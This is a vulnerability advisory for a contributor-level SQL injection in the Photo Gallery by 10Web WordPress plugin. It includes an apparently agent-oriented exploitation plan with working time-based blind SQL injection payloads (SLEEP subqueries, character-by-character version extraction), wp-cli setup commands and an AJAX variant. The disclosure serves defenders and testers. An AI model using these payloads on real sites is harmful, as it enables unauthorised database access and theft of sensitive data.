Photo Gallery by 10Web <= 1.8.40 - Authenticated (Contributor+) SQL Injection via 'order_by' Shortcode Attribute
Description
The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'order_by' parameter in all versions up to, and including, 1.8.40 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is exploitable by embedding a malicious shortcode in a post or draft, allowing the injected SQL to execute when the shortcode is rendered.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.41
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7048 - Photo Gallery SQL Injection ## 1. Vulnerability Summary The **Photo Gallery by 10Web** plugin (<= 1.8.40) is vulnerable to an authenticated time-based blind SQL Injection. The vulnerability exists because the plugin fails to properly sanitize and prepar…
Show full research plan
Exploitation Research Plan: CVE-2026-7048 - Photo Gallery SQL Injection
1. Vulnerability Summary
The Photo Gallery by 10Web plugin (<= 1.8.40) is vulnerable to an authenticated time-based blind SQL Injection. The vulnerability exists because the plugin fails to properly sanitize and prepare the order_by attribute within the [Best_Wordpress_Gallery] shortcode before incorporating it into a database query. This allows an attacker with Contributor level access or higher to execute arbitrary SQL commands by embedding a malicious shortcode into a post or draft.
2. Attack Vector Analysis
- Endpoint: Standard WordPress post/page rendering (or
admin-ajax.phpif the shortcode triggers an AJAX load). - Vulnerable Attribute:
order_byinside theBest_Wordpress_Galleryshortcode. - Authentication: Authenticated user with at least
Contributorprivileges (required to save/preview posts containing shortcodes). - Preconditions:
- The Photo Gallery plugin must be active.
- At least one Gallery must exist in the system (to ensure the SQL query that uses
order_byis executed).
3. Code Flow
- Registration:
photo-gallery.phpregisters the shortcode:add_shortcode('Best_Wordpress_Gallery', array($this, 'shortcode')); - Parsing: When a post containing
[Best_Wordpress_Gallery order_by="..."]is rendered, WordPress calls theshortcode()method in theBWGclass. - Data Processing: The
shortcode()method extracts attributes. Theorder_byattribute is passed down to a "Model" or "Controller" responsible for fetching images from the database (likely usingWDWLibrary::get()logic or direct attribute access). - SQL Sink: The value of
order_byis concatenated into anORDER BYclause of a$wpdb->get_results()call. Becausewpdb->preparecannot safely parameterizeORDER BYcolumn names using%s(it adds single quotes, which breaks the column reference), the developer likely used direct string concatenation without whitelisting or sufficient escaping.
4. Nonce Acquisition Strategy
This vulnerability is exploited via a shortcode embedded in a post.
- Initial Rendering: Viewing a published post or previewing a draft generally does not require a nonce for the initial shortcode execution.
- AJAX Fallback: If the gallery loads data via AJAX (specifically via the
bwg_frontend_dataaction registered inphoto-gallery.php), a nonce might be required. - Strategy:
- Create a post with the shortcode using
wp-cli. - Navigate to the post URL.
- If the injection triggers on page load, no nonce is needed.
- If the injection occurs during an AJAX call, use
browser_evalto extract the nonce from the localized script:browser_eval("window.bwg_objectsL10n?.bwg_nonce")(inferred based on plugin naming conventions, actual key to be verified by the agent in the page source).
- Create a post with the shortcode using
5. Exploitation Strategy
The agent will perform a time-based blind SQL injection using the SLEEP() function.
- Preparation: Ensure a gallery exists to trigger the query.
- Payload Construction:
Theorder_byparameter is injected into anORDER BYclause. A subquery-based sleep is most reliable here.- Payload:
(SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Payload:
- Request Execution:
- Log in as a Contributor.
- Create a draft post:
[Best_Wordpress_Gallery id="1" order_by="(SELECT 1 FROM (SELECT(SLEEP(5)))a)"]. - Request the preview URL of that post using the
http_requesttool. - Measure the response time.
- Data Extraction (Proof of Concept):
To prove data exfiltration, check the first character of the database version:- Payload:
(CASE WHEN (SUBSTRING(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)
- Payload:
6. Test Data Setup
- User Creation: Create a contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Gallery Creation: Use
wp-cliorwp evalto ensure a gallery exists in the{prefix}bwg_gallerytable.wp eval 'global $wpdb; $wpdb->insert($wpdb->prefix . "bwg_gallery", ["name" => "Test Gallery", "slug" => "test-gallery", "published" => 1]);' - Post Creation: Create a post with the shortcode.
wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --format=ids) --post_content='[Best_Wordpress_Gallery id="1" order_by="id"]' --post_title='Gallery Page'
7. Expected Results
- Normal Request: A request to the post with
order_by="id"should return in < 1 second. - Malicious Request: A request with the
SLEEP(5)payload should take approximately 5 seconds (or a multiple thereof, depending on how many times the query executes for the gallery view). - HTTP Status: 200 OK (The SQL error is suppressed or the sleep executes before the response is sent).
8. Verification Steps
After the http_request confirms the time delay:
- Verify the database state was not corrupted (though this is a
SELECTinjection). - Check the WordPress
debug.log(if enabled) for any SQL syntax errors that might provide clues to the query structure:tail -n 20 /var/www/html/wp-content/debug.log
9. Alternative Approaches
If the shortcode rendering does not immediately trigger the sleep:
- AJAX Endpoint: Targeted exploitation of the
wp_ajax_bwg_frontend_dataorwp_ajax_nopriv_bwg_frontend_dataactions.- Action:
bwg_frontend_data - Parameters:
action=bwg_frontend_data&order_by=(SELECT...SLEEP(5))&nonce=[extracted_nonce]
- Action:
- Boolean-Based: If the gallery sorting changes visibly based on the
order_bylogic (e.g., usingIF(1=1, id, name)), use boolean-based exfiltration. - IDOR Combination: If
id="1"does not exist, iterate throughidvalues until a valid gallery triggers the query.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.